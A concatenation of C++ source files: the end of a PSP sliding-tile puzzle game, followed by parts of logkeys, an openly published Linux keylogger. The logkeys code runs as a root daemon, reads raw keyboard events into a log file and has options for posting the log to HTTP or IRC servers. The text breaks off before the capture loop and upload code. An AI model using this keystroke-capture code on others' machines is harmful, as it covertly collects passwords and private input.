{
m_menuOffset += m_menuDirection;
mTimer = 0;
}
if(m_menuOffset>8)
m_menuDirection = -1;
else if(m_menuOffset<-8)
m_menuDirection = 1;
}
//-------------------------------------------------------------------------------------
// This is the update callback function and is called at each update frame
// before rendering. You should update the game logic here.
//
//-------------------------------------------------------------------------------------
void GameApp::Update()
{
JGE* engine = JGE::GetInstance();
float dt = engine->GetDelta(); // Get time elapsed since last update.
mTimer += dt;
if(mTimer>100000)
mTimer = 0;
switch(CurrentGameMode)
{
case GM_Logo:
if(mTimer>2)
CurrentGameMode = GM_SelectLanguage;
break;
case GM_SelectLanguage:
if (engine->GetButtonClick(PSP_CTRL_UP))
{
selectLanguageMenu.SelectPrevElement();
JSoundSystem::GetInstance()->PlaySample(m_pModeTileEffect);
Resources::SetCurrentIndex(selectLanguageMenu.GetSelectedElementIndex());
}
else if (engine->GetButtonClick(PSP_CTRL_DOWN))
{
selectLanguageMenu.SelectNextElement();
JSoundSystem::GetInstance()->PlaySample(m_pModeTileEffect);
Resources::SetCurrentIndex(selectLanguageMenu.GetSelectedElementIndex());
}
else if (engine->GetButtonClick(PSP_CTRL_CIRCLE) ||
engine->GetButtonClick(PSP_CTRL_START) ||
engine->GetButtonClick(PSP_CTRL_CROSS))
{
Resources::SetCurrentIndex(selectLanguageMenu.GetSelectedElementIndex());
mainMenu.MenuItems.push_back(Resources::GetCurrent().mainMenuNewGame);
//mainMenu.MenuItems.push_back(Resources::GetCurrent().mainMenuRecords);
mainMenu.MenuItems.push_back(Resources::GetCurrent().mainMenuAbout);
pauseMenu.MenuItems.push_back(Resources::GetCurrent().pauseMenuContinue);
pauseMenu.MenuItems.push_back(Resources::GetCurrent().pauseMenuRestart);
//pauseMenu.MenuItems.push_back(Resources::GetCurrent().pauseMenuRecords);
pauseMenu.MenuItems.push_back(Resources::GetCurrent().pauseMenuAbout);
CurrentGameMode = GM_MainMenu;
}
ProcessMenuOffset();
break;
case GM_MainMenu:
if (engine->GetButtonClick(PSP_CTRL_UP))
{
mainMenu.SelectPrevElement();
JSoundSystem::GetInstance()->PlaySample(m_pModeTileEffect);
}
else if (engine->GetButtonClick(PSP_CTRL_DOWN))
{
mainMenu.SelectNextElement();
JSoundSystem::GetInstance()->PlaySample(m_pModeTileEffect);
}
else if (engine->GetButtonClick(PSP_CTRL_CIRCLE) ||
engine->GetButtonClick(PSP_CTRL_START) ||
engine->GetButtonClick(PSP_CTRL_CROSS))
{
switch(mainMenu.GetSelectedElementIndex())
{
case 0: // New Game
GameEngine::NewGame();
CurrentGameMode = GM_Game;
break;
case 1: // About
PrevGameMode = CurrentGameMode;
CurrentGameMode = GM_About;
break;
}
}
ProcessMenuOffset();
break;
case GM_Game:
// Move Tiles
//if(mTimer>0.0005)
{
bool bPlaySample = false;
for(int index = 1; index<16; index++)
{
GameEngine::TileItem& currentTile = GameEngine::Tiles[index];
if(currentTile.XMoveStep>0)
{
currentTile.XMoveStep--;
if(currentTile.XMoveStep==0)
bPlaySample = true;
}
else if(currentTile.XMoveStep<0)
{
currentTile.XMoveStep++;
if(currentTile.XMoveStep==0)
bPlaySample = true;
}
if(currentTile.YMoveStep>0)
{
currentTile.YMoveStep--;
if(currentTile.YMoveStep==0)
bPlaySample = true;
}
else if(currentTile.YMoveStep<0)
{
currentTile.YMoveStep++;
if(currentTile.YMoveStep==0)
bPlaySample = true;
}
}
if(bPlaySample)
JSoundSystem::GetInstance()->PlaySample(m_pModeTileEffect);
mTimer = 0;
}
// Process Button Logic
if(GameEngine::IsUserWin())
{
CurrentGameMode = GM_Win;
}
else if (engine->GetButtonClick(PSP_CTRL_LEFT))
{
GameEngine::MoveRightTile();
}
else if (engine->GetButtonClick(PSP_CTRL_RIGHT))
{
GameEngine::MoveLeftTile();
}
else if (engine->GetButtonClick(PSP_CTRL_UP))
{
GameEngine::MoveDownTile();
}
else if (engine->GetButtonClick(PSP_CTRL_DOWN))
{
GameEngine::MoveUpTile();
}
else if (engine->GetButtonClick(PSP_CTRL_START) ||
engine->GetButtonClick(PSP_CTRL_CROSS) ||
engine->GetButtonClick(PSP_CTRL_CIRCLE))
{
CurrentGameMode = GM_Pause;
GameEngine::Pause();
// TODO: Stop Game Engine Timer
}
break;
case GM_Pause:
if (engine->GetButtonClick(PSP_CTRL_UP))
{
pauseMenu.SelectPrevElement();
JSoundSystem::GetInstance()->PlaySample(m_pModeTileEffect);
}
else if (engine->GetButtonClick(PSP_CTRL_DOWN))
{
pauseMenu.SelectNextElement();
JSoundSystem::GetInstance()->PlaySample(m_pModeTileEffect);
}
else if (engine->GetButtonClick(PSP_CTRL_CIRCLE) || engine->GetButtonClick(PSP_CTRL_START) || engine->GetButtonClick(PSP_CTRL_CROSS))
{
switch(pauseMenu.GetSelectedElementIndex())
{
case 0: // Continue
CurrentGameMode = GM_Game;
GameEngine::Resume();
// TODO: Resume Game Engine Timer
break;
case 1: // Restart
GameEngine::NewGame();
CurrentGameMode = GM_Game;
// TODO: Resume Game Engine Timer
break;
case 2: // About
PrevGameMode = CurrentGameMode;
CurrentGameMode = GM_About;
break;
}
}
ProcessMenuOffset();
break;
case GM_Win:
if (engine->GetButtonClick(PSP_CTRL_CIRCLE) || engine->GetButtonClick(PSP_CTRL_START))
{
CurrentGameMode = GM_Game;
GameEngine::NewGame();
}
else if (engine->GetButtonClick(PSP_CTRL_CROSS))
{
CurrentGameMode = GM_MainMenu;
}
break;
case GM_About:
if (engine->GetButtonClick(PSP_CTRL_CIRCLE) || engine->GetButtonClick(PSP_CTRL_CROSS))
{
CurrentGameMode = PrevGameMode;
}
break;
}
}
//-------------------------------------------------------------------------------------
// All rendering operations should be done in Render() only.
//
//-------------------------------------------------------------------------------------
void GameApp::Render()
{
switch(CurrentGameMode)
{
case GM_Logo:
RenderLogo();
break;
case GM_SelectLanguage:
RenderMenu(selectLanguageMenu);
break;
case GM_MainMenu:
RenderMenu(mainMenu);
break;
case GM_Game:
RenderGameMode();
break;
case GM_Pause:
RenderMenu(pauseMenu);
break;
case GM_Win:
RenderWin();
break;
case GM_About:
RenderAbout();
break;
}
}
void GameApp::RenderLogo()
{
JRenderer* renderer = JRenderer::GetInstance();
JQuad* logo = m_pResourceManager->GetQuad("logo");
renderer->RenderQuad(logo, 0, 0);
}
void GameApp::RenderSelectLanguage()
{
JRenderer* renderer = JRenderer::GetInstance();
}
void GameApp::RenderMenu(GameMenu& menu)
{
JRenderer* renderer = JRenderer::GetInstance();
JQuad* background = m_pResourceManager->GetQuad("background");
renderer->RenderQuad(background, 0, 0);
// turn off bilinear filtering to render sharp text
renderer->EnableTextureFilter(false);
m_pSmallFont->SetColor(ARGB(255,232,183,15));
m_pSmallFont->RenderString(Resources::GetCurrent().buttonSelect.c_str(), 140, 254, JGETEXT_LEFT);
m_pSmallFont->RenderString(Resources::GetCurrent().buttonSelect.c_str(), 340, 254, JGETEXT_RIGHT);
for(int index = 0; index< menu.MenuItems.size(); index ++)
{
int offset = ((index == menu.GetSelectedElementIndex())?m_menuOffset:0);
if(index == menu.GetSelectedElementIndex())
m_pFont->SetColor(ARGB(255,232,183,15));
else
m_pFont->SetColor(ARGB(128,232,183,15));
m_pFont->RenderString(menu.MenuItems[index].c_str(), 240 + offset, 28 + index*40, JGETEXT_CENTER);
}
renderer->EnableTextureFilter(true);
}
void GameApp::RenderWin()
{
JRenderer* renderer = JRenderer::GetInstance();
JQuad* background = m_pResourceManager->GetQuad("background");
renderer->RenderQuad(background, 0, 0);
// turn off bilinear filtering to render sharp text
renderer->EnableTextureFilter(false);
m_pSmallFont->SetColor(ARGB(255,232,183,15));
m_pSmallFont->RenderString(Resources::GetCurrent().buttonMenu.c_str(), 140, 254, JGETEXT_LEFT);
m_pSmallFont->RenderString(Resources::GetCurrent().buttonNewGame.c_str(), 340, 254, JGETEXT_RIGHT);
m_pFont->SetColor(ARGB(255,232,183,15));
int index = 0;
for(; index<Resources::GetCurrent().congratulationStrings.size(); index++)
{
m_pFont->RenderString(Resources::GetCurrent().congratulationStrings[index].c_str(), 240, 28 + index*40, JGETEXT_CENTER);
}
char strTime[20];
int elapsedSecounds = GameEngine::GetElapsedSeconds();
TIXML_SNPRINTF(strTime, 20, "%02d:%02d", elapsedSecounds/60, elapsedSecounds%60);
m_pFont->RenderString(strTime, 240, 28 + index*40, JGETEXT_CENTER);
index++;
TIXML_SNPRINTF(strTime, 20, "%d", GameEngine::GetMoveCount());
m_pFont->RenderString(strTime, 240, 28 + index*40, JGETEXT_CENTER);
}
void GameApp::RenderAbout()
{
JRenderer* renderer = JRenderer::GetInstance();
JQuad* background = m_pResourceManager->GetQuad("background");
renderer->RenderQuad(background, 0, 0);
// turn off bilinear filtering to render sharp text
renderer->EnableTextureFilter(false);
m_pSmallFont->SetColor(ARGB(255,232,183,15));
m_pSmallFont->RenderString(Resources::GetCurrent().buttonExit.c_str(), 140, 254, JGETEXT_LEFT);
m_pSmallFont->RenderString(Resources::GetCurrent().buttonExit.c_str(), 340, 254, JGETEXT_RIGHT);
for(int index = 0; index< Resources::GetCurrent().aboutStrings.size(); index ++)
{
m_pSmallFont->RenderString(Resources::GetCurrent().aboutStrings[index].c_str(), 240, 28 + index*20, JGETEXT_CENTER);
}
}
void GameApp::RenderGameMode()
{
// get JRenderer instance
JRenderer* renderer = JRenderer::GetInstance();
JQuad* background = m_pResourceManager->GetQuad("background");
renderer->RenderQuad(background, 0, 0);
// Render Tiles
for(int index = 1; index<16; index++)
{
GameEngine::TileItem& currentTile = GameEngine::Tiles[index];
JQuad* tile = m_pResourceManager->GetQuad(currentTile.JQuadName);
renderer->RenderQuad(tile,
STONE_FIELD_X + currentTile.X * STONE_WIDTH - currentTile.XMoveStep,
STONE_FIELD_Y + currentTile.Y * STONE_HEIGHT- currentTile.YMoveStep);
}
renderer->EnableTextureFilter(false);
// Render Time
m_pSmallFont->SetColor(ARGB(255,232,183,15));
m_pSmallFont->RenderString(Resources::GetCurrent().buttonPause.c_str(), 140, 254, JGETEXT_LEFT);
m_pSmallFont->RenderString(Resources::GetCurrent().buttonPause.c_str(), 340, 254, JGETEXT_RIGHT);
char strTime[20];
int elapsedSecounds = GameEngine::GetElapsedSeconds();
TIXML_SNPRINTF(strTime, 20, "%02d:%02d", elapsedSecounds/60, elapsedSecounds%60);
m_pFont->SetColor(ARGB(255,232,183,15));
m_pFont->RenderString(strTime, 380, 6);
TIXML_SNPRINTF(strTime, 20, "%02d", GameEngine::GetMoveCount());
m_pFont->SetColor(ARGB(255,232,183,15));
m_pFont->RenderString(strTime, 380, 46);
renderer->EnableTextureFilter(true);
}
//-------------------------------------------------------------------------------------
// This function is called when the system wants to pause the game. You can set a flag
// here to stop the update loop and audio playback.
//
//-------------------------------------------------------------------------------------
void GameApp::Pause()
{
}
//-------------------------------------------------------------------------------------
// This function is called when the game returns from the pause state.
//
//-------------------------------------------------------------------------------------
void GameApp::Resume()
{
}
| C++ |
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _KEYTABLES_H_
#define _KEYTABLES_H_
#include <cassert>
#include <linux/input.h>
namespace logkeys {
// these are ordered default US keymap keys
wchar_t char_keys[49] = L"1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<";
wchar_t shift_keys[49] = L"!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\"~|ZXCVBNM<>?>";
wchar_t altgr_keys[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\\0qwertyuiop\0~asdfghjkl\0\0\0\0zxcvbnm\0\0\0|"; // \0 on no symbol; as obtained by `loadkeys us`
// TODO: add altgr_shift_keys[] (http://en.wikipedia.org/wiki/AltGr_key#US_international)
wchar_t func_keys[][8] = {
L"<Esc>", L"<BckSp>", L"<Tab>", L"<Enter>", L"<LCtrl>", L"<LShft>", L"<RShft>", L"<KP*>", L"<LAlt>", L" ", L"<CpsLk>", L"<F1>", L"<F2>", L"<F3>", L"<F4>", L"<F5>",
L"<F6>", L"<F7>", L"<F8>", L"<F9>", L"<F10>", L"<NumLk>", L"<ScrLk>", L"<KP7>", L"<KP8>", L"<KP9>", L"<KP->", L"<KP4>", L"<KP5>", L"<KP6>", L"<KP+>", L"<KP1>",
L"<KP2>", L"<KP3>", L"<KP0>", L"<KP.>", /*"<",*/ L"<F11>", L"<F12>", L"<KPEnt>", L"<RCtrl>", L"<KP/>", L"<PrtSc>", L"<AltGr>", L"<Break>" /*linefeed?*/, L"<Home>", L"<Up>", L"<PgUp>",
L"<Left>", L"<Right>", L"<End>", L"<Down>", L"<PgDn>", L"<Ins>", L"<Del>", L"<Pause>", L"<LMeta>", L"<RMeta>", L"<Menu>"
};
const char char_or_func[] = // c = character key, f = function key, _ = blank/error ('_' is used, don't change); all according to KEY_* defines from <linux/input.h>
"_fccccccccccccff"
"ccccccccccccffcc"
"ccccccccccfccccc"
"ccccccffffffffff"
"ffffffffffffffff"
"ffff__cff_______"
"ffffffffffffffff"
"_______f_____fff";
#define N_KEYS_DEFINED 106 // sum of all 'c' and 'f' chars in char_or_func[]
inline bool is_char_key(unsigned int code)
{
assert(code < sizeof(char_or_func));
return (char_or_func[code] == 'c');
}
inline bool is_func_key(unsigned int code)
{
assert(code < sizeof(char_or_func));
return (char_or_func[code] == 'f');
}
inline bool is_used_key(unsigned int code)
{
assert(code < sizeof(char_or_func));
return (char_or_func[code] != '_');
}
// translates character keycodes to continuous array indexes
inline int to_char_keys_index(unsigned int keycode)
{
if (keycode >= KEY_1 && keycode <= KEY_EQUAL) // keycodes 2-13: US keyboard: 1, 2, ..., 0, -, =
return keycode - 2;
if (keycode >= KEY_Q && keycode <= KEY_RIGHTBRACE) // keycodes 16-27: q, w, ..., [, ]
return keycode - 4;
if (keycode >= KEY_A && keycode <= KEY_GRAVE) // keycodes 30-41: a, s, ..., ', `
return keycode - 6;
if (keycode >= KEY_BACKSLASH && keycode <= KEY_SLASH) // keycodes 43-53: \, z, ..., ., /
return keycode - 7;
if (keycode == KEY_102ND) return 47; // key right to the left of 'Z' on US layout
return -1; // not character keycode
}
// translates function keys keycodes to continuous array indexes
inline int to_func_keys_index(unsigned int keycode)
{
if (keycode == KEY_ESC) // 1
return 0;
if (keycode >= KEY_BACKSPACE && keycode <= KEY_TAB) // 14-15
return keycode - 13;
if (keycode >= KEY_ENTER && keycode <= KEY_LEFTCTRL) // 28-29
return keycode - 25;
if (keycode == KEY_LEFTSHIFT) return keycode - 37; // 42
if (keycode >= KEY_RIGHTSHIFT && keycode <= KEY_KPDOT) // 54-83
return keycode - 48;
if (keycode >= KEY_F11 && keycode <= KEY_F12) // 87-88
return keycode - 51;
if (keycode >= KEY_KPENTER && keycode <= KEY_DELETE) // 96-111
return keycode - 58;
if (keycode == KEY_PAUSE) // 119
return keycode - 65;
if (keycode >= KEY_LEFTMETA && keycode <= KEY_COMPOSE) // 125-127
return keycode - 70;
return -1; // not function key keycode
}
} // namespace logkeys
#endif // _KEYTABLES_H_
| C++ |
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#include <cstdio>
#include <cerrno>
#include <cwchar>
#include <vector>
#include <cstring>
#include <fstream>
#include <sstream>
#include <cstdlib>
#include <csignal>
#include <error.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <linux/input.h>
#ifdef HAVE_CONFIG_H
# include <config.h> // include config produced from ./configure
#endif
#ifndef PACKAGE_VERSION
# define PACKAGE_VERSION "0.1.2" // if PACKAGE_VERSION wasn't defined in <config.h>
#endif
// the following path-to-executable macros should be defined in config.h;
#ifndef EXE_PS
# define EXE_PS "/bin/ps"
#endif
#ifndef EXE_GREP
# define EXE_GREP "/bin/grep"
#endif
#ifndef EXE_DUMPKEYS
# define EXE_DUMPKEYS "/usr/bin/dumpkeys"
#endif
#define COMMAND_STR_DUMPKEYS ( EXE_DUMPKEYS " -n | " EXE_GREP " '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'" )
#define COMMAND_STR_DEVICES ( EXE_GREP " -E 'Handlers|EV=' /proc/bus/input/devices | " EXE_GREP " -B1 'EV=120013' | " EXE_GREP " -Eo 'event[0-9]+' ")
#define COMMAND_STR_GET_PID ( (std::string(EXE_PS " ax | " EXE_GREP " '") + program_invocation_name + "' | " EXE_GREP " -v grep").c_str() )
#define INPUT_EVENT_PATH "/dev/input/" // standard path
#define DEFAULT_LOG_FILE "/var/log/logkeys.log"
#define PID_FILE "/var/run/logkeys.pid"
#include "usage.cc" // usage() function
#include "args.cc" // global arguments struct and arguments parsing
#include "keytables.cc" // character and function key tables and helper functions
#include "upload.cc" // functions concerning remote uploading of log file
namespace logkeys {
// executes cmd and returns string ouput
std::string execute(const char* cmd)
{
FILE* pipe = popen(cmd, "r");
if (!pipe)
error(EXIT_FAILURE, errno, "Pipe error");
char buffer[128];
std::string result = "";
while(!feof(pipe))
if(fgets(buffer, 128, pipe) != NULL)
result += buffer;
pclose(pipe);
return result;
}
int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it
void signal_handler(int signal)
{
if (input_fd != -1)
close(input_fd); // closing input file will break the infinite while loop
}
void set_utf8_locale()
{
// set locale to common UTF-8 for wchars to be recognized correctly
if(setlocale(LC_CTYPE, "en_US.UTF-8") == NULL) { // if en_US.UTF-8 isn't available
char *locale = setlocale(LC_CTYPE, ""); // try the locale that corresponds to the value of the associated environment variable LC_CTYPE
if (locale != NULL &&
(strstr(locale, "UTF-8") != NULL || strstr(locale, "UTF8") != NULL ||
strstr(locale, "utf-8") != NULL || strstr(locale, "utf8") != NULL) )
; // if locale has "UTF-8" in its name, it is cool to do nothing
else
error(EXIT_FAILURE, 0, "LC_CTYPE locale must be of UTF-8 type, or you need en_US.UTF-8 availabe");
}
}
void exit_cleanup(int status, void *discard)
{
// TODO:
}
void create_PID_file()
{
// create temp file carrying PID for later retrieval
int pid_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (pid_fd != -1) {
char pid_str[16] = {0};
sprintf(pid_str, "%d", getpid());
if (write(pid_fd, pid_str, strlen(pid_str)) == -1)
error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'");
close(pid_fd);
}
else {
if (errno == EEXIST)
error(EXIT_FAILURE, errno, "Another process already running? Quitting. (" PID_FILE ")");
else error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'");
}
}
void kill_existing_process()
{
pid_t pid;
bool via_file = true;
bool via_pipe = true;
FILE *temp_file = fopen(PID_FILE, "r");
via_file &= (temp_file != NULL);
if (via_file) { // kill process with pid obtained from PID file
via_file &= (fscanf(temp_file, "%d", &pid) == 1);
fclose(temp_file);
}
if (!via_file) { // if reading PID from temp_file failed, try ps-grep pipe
via_pipe &= (sscanf(execute(COMMAND_STR_GET_PID).c_str(), "%d", &pid) == 1);
via_pipe &= (pid != getpid());
}
if (via_file || via_pipe) {
remove(PID_FILE);
kill(pid, SIGINT);
exit(EXIT_SUCCESS); // process killed successfully, exit
}
error(EXIT_FAILURE, 0, "No process killed");
}
void set_signal_handling()
{ // catch SIGHUP, SIGINT and SIGTERM signals to exit gracefully
struct sigaction act = {{0}};
act.sa_handler = signal_handler;
sigaction(SIGHUP, &act, NULL);
sigaction(SIGINT, &act, NULL);
sigaction(SIGTERM, &act, NULL);
// prevent child processes from becoming zombies
act.sa_handler = SIG_IGN;
sigaction(SIGCHLD, &act, NULL);
}
void determine_system_keymap()
{
// custom map will be used; erase existing US keymapping
memset(char_keys, '\0', sizeof(char_keys));
memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys));
// get keymap from dumpkeys
// if one knows of a better, more portable way to get wchar_t-s from symbolic keysym-s from `dumpkeys` or `xmodmap` or another, PLEASE LET ME KNOW! kthx
std::stringstream ss, dump(execute(COMMAND_STR_DUMPKEYS)); // see example output after i.e. `loadkeys slovene`
std::string line;
unsigned int i = 0; // keycode
int index;
int utf8code; // utf-8 code of keysym answering keycode i
while (std::getline(dump, line)) {
ss.clear();
ss.str("");
utf8code = 0;
// replace any U+#### with 0x#### for easier parsing
index = line.find("U+", 0);
while (static_cast<std::string::size_type>(index) != std::string::npos) {
line[index] = '0'; line[index + 1] = 'x';
index = line.find("U+", index);
}
if (++i >= sizeof(char_or_func)) break; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used)
if (!is_char_key(i)) continue; // only map character keys of keyboard
assert(line.size() > 0);
if (line[0] == 'k') { // if line starts with 'keycode'
index = to_char_keys_index(i);
ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ")
ss >> std::hex >> utf8code;
// 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly?
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
char_keys[index] = static_cast<wchar_t>(utf8code);
// if there is a second keysym column, assume it is a shift column
if (ss >> std::hex >> utf8code) {
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
shift_keys[index] = static_cast<wchar_t>(utf8code);
}
// if there is a third keysym column, assume it is an altgr column
if (ss >> std::hex >> utf8code) {
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
altgr_keys[index] = static_cast<wchar_t>(utf8code);
}
continue;
}
// else if line starts with 'shift i'
index = to_char_keys_index(--i);
ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ")
ss >> std::hex >> utf8code;
if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS
if (line[1] == 's') // if line starts with "shift"
shift_keys[index] = static_cast<wchar_t>(utf8code);
if (line[1] == 'a') // if line starts with "altgr"
altgr_keys[index] = static_cast<wchar_t>(utf8code);
} // while (getline(dump, line))
}
void parse_input_keymap()
{
// custom map will be used; erase existing US keytables
memset(char_keys, '\0', sizeof(char_keys));
memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys));
stdin = freopen(args.keymap.c_str(), "r", stdin);
if (stdin == NULL)
error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap.c_str());
unsigned int i = -1;
unsigned int line_number = 0;
wchar_t func_string[32];
wchar_t line[32];
while (!feof(stdin)) {
if (++i >= sizeof(char_or_func)) break; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used)
if (is_used_key(i)) {
++line_number;
if(fgetws(line, sizeof(line), stdin) == NULL) {
if (feof(stdin)) break;
else error_at_line(EXIT_FAILURE, errno, args.keymap.c_str(), line_number, "fgets() error");
}
// line at most 8 characters wide (func lines are "1234567\n", char lines are "1 2 3\n")
if (wcslen(line) > 8) // TODO: replace 8*2 with 8 and wcslen()!
error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Line too long!");
// terminate line before any \r or \n
std::wstring::size_type last = std::wstring(line).find_last_not_of(L"\r\n");
if (last == std::wstring::npos)
error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "No characters on line");
line[last + 1] = '\0';
}
if (is_char_key(i)) {
unsigned int index = to_char_keys_index(i);
if (swscanf(line, L"%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 1) {
error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Too few input characters on line");
}
}
if (is_func_key(i)) {
if (i == KEY_SPACE) continue; // space causes empty string and trouble
if (swscanf(line, L"%7ls", &func_string[0]) != 1)
error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Invalid function key string"); // does this ever happen?
wcscpy(func_keys[to_func_keys_index(i)], func_string);
}
} // while (!feof(stdin))
fclose(stdin);
if (line_number < N_KEYS_DEFINED)
#define QUOTE(x) #x // quotes x so it can be used as (char*)
error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap.c_str());
}
void export_keymap_to_file()
{
int keymap_fd = open(args.keymap.c_str(), O_CREAT | O_EXCL | O_WRONLY, 0644);
if (keymap_fd == -1)
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap.c_str());
char buffer[32];
int buflen = 0;
unsigned int index;
for (unsigned int i = 0; i < sizeof(char_or_func); ++i) {
buflen = 0;
if (is_char_key(i)) {
index = to_char_keys_index(i);
// only export non-null characters
if (char_keys[index] != L'\0' &&
shift_keys[index] != L'\0' &&
altgr_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]);
else if (char_keys[index] != L'\0' &&
shift_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]);
else if (char_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc\n", char_keys[index]);
else // if all \0, export nothing on that line (=keymap will not parse)
buflen = sprintf(buffer, "\n");
}
else if (is_func_key(i)) {
buflen = sprintf(buffer, "%ls\n", func_keys[to_func_keys_index(i)]);
}
if (is_used_key(i))
if (write(keymap_fd, buffer, buflen) < buflen)
error(EXIT_FAILURE, errno, "Error writing to keymap file '%s'", args.keymap.c_str());
}
close(keymap_fd);
error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap.c_str());
exit(EXIT_SUCCESS);
}
void determine_input_device()
{
// better be safe than sory: while running other programs, switch user to nobody
setegid(65534); seteuid(65534);
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
std::stringstream output(execute(COMMAND_STR_DEVICES));
std::vector<std::string> results;
std::string line;
while(std::getline(output, line)) {
std::string::size_type i = line.find("event");
if (i != std::string::npos) i += 5; // "event".size() == 5
if (i < line.size()) {
int index = atoi(&line.c_str()[i]);
if (index != -1) {
std::stringstream input_dev_path;
input_dev_path << INPUT_EVENT_PATH;
input_dev_path << "event";
input_dev_path << index;
results.push_back(input_dev_path.str());
}
}
}
if (results.size() == 0) {
error(0, 0, "Couldn't determine keyboard device. :/");
error(EXIT_FAILURE, 0, "Please post contents of your /proc/bus/input/devices file as a new bug report. Thanks!");
}
args.device = results[0]; // for now, use only the first found device
// now we reclaim those root privileges
seteuid(0); setegid(0);
}
int main(int argc, char **argv)
{
on_exit(exit_cleanup, NULL);
if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?");
args.logfile = (char*) DEFAULT_LOG_FILE; // default log file will be used if none specified
process_command_line_arguments(argc, argv);
// kill existing logkeys process
if (args.kill) kill_existing_process();
// if neither start nor export, that must be an error
if (!args.start && !(args.flags & FLAG_EXPORT_KEYMAP)) { usage(); exit(EXIT_FAILURE); }
// if posting remote and post_size not set, set post_size to default [500K bytes]
if (args.post_size == 0 && (!args.http_url.empty() || !args.irc_server.empty())) {
args.post_size = 500000;
}
// check for incompatible flags
if (!args.keymap.empty() && (!(args.flags & FLAG_EXPORT_KEYMAP) && args.us_keymap)) { // exporting uses args.keymap also
error(EXIT_FAILURE, 0, "Incompatible flags '-m' and '-u'. See usage.");
}
set_utf8_locale();
if (args.flags & FLAG_EXPORT_KEYMAP) {
if (!args.us_keymap)
determine_system_keymap();
export_keymap_to_file();
// = exit(0)
}
else if (!args.keymap.empty()) // custom keymap in use
parse_input_keymap();
else
determine_system_keymap();
if (args.device.empty()) { // no device given with -d switch
determine_input_device();
}
else { // event device supplied as -d argument
std::string::size_type i = args.device.find_last_of('/');
args.device = (std::string(INPUT_EVENT_PATH) + args.device.substr(i == std::string::npos ? 0 : i + 1));
}
set_signal_handling();
int nochdir = 0;
if (args.logfile[0] != '/')
nochdir = 1; // don't chdir (logfile specified with relative path)
int noclose = 1; // don't close streams (stderr used)
if (daemon(nochdir, noclose) == -1) // become daemon
error(EXIT_FAILURE, errno, "Failed to become daemon");
close(STDIN_FILENO); close(STDOUT_FILENO); // leave stderr open
// open input device for reading
input_fd = open(args.device.c_str(), O_RDONLY);
if (input_fd == -1) {
error(EXIT_FAILURE, errno, "Error opening input event device '%s'", args.device.c_str());
}
// if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't!
if (args.logfile == DEFAULT_LOG_FILE) {
seteuid(getuid());
setegid(getgid());
}
// open log file (if file doesn't exist, create it with safe 0600 permissions)
umask(0177);
FILE *out = fopen(args.logfile.c_str(), "a");
if (!out)
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile.c_str());
// now we need those privileges back in order to create system-wide PID_FILE
seteuid(0); setegid(0);
create_PID_file();
// now we've got everything we need, finally drop privileges by becoming 'nobody'
//setegid(65534); seteuid(65534); // commented-out, I forgot why xD
unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>)
struct input_event event;
char timestamp[32]; // timestamp string, long enough to hold format "\n%F %T%z > "
bool shift_in_effect = false;
bool altgr_in_effect = false;
bool ctrl_in_effect = false; // used for identifying Ctrl+C / Ctrl+D
int count_repeats = 0; // count_repeats differs from the actual number of repeated characters! afaik, only the OS knows how these two values are related (by respecting configured repeat speed and delay)
struct stat st;
stat(args.logfile.c_str(), &st);
off_t file_size = st.st_size; // log file is currently file_size bytes "big"
int inc_size; // is added to file_size in each iteration of keypress reading, adding number of bytes written to log file in that iteration
time_t cur_time;
time(&cur_time);
#define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ
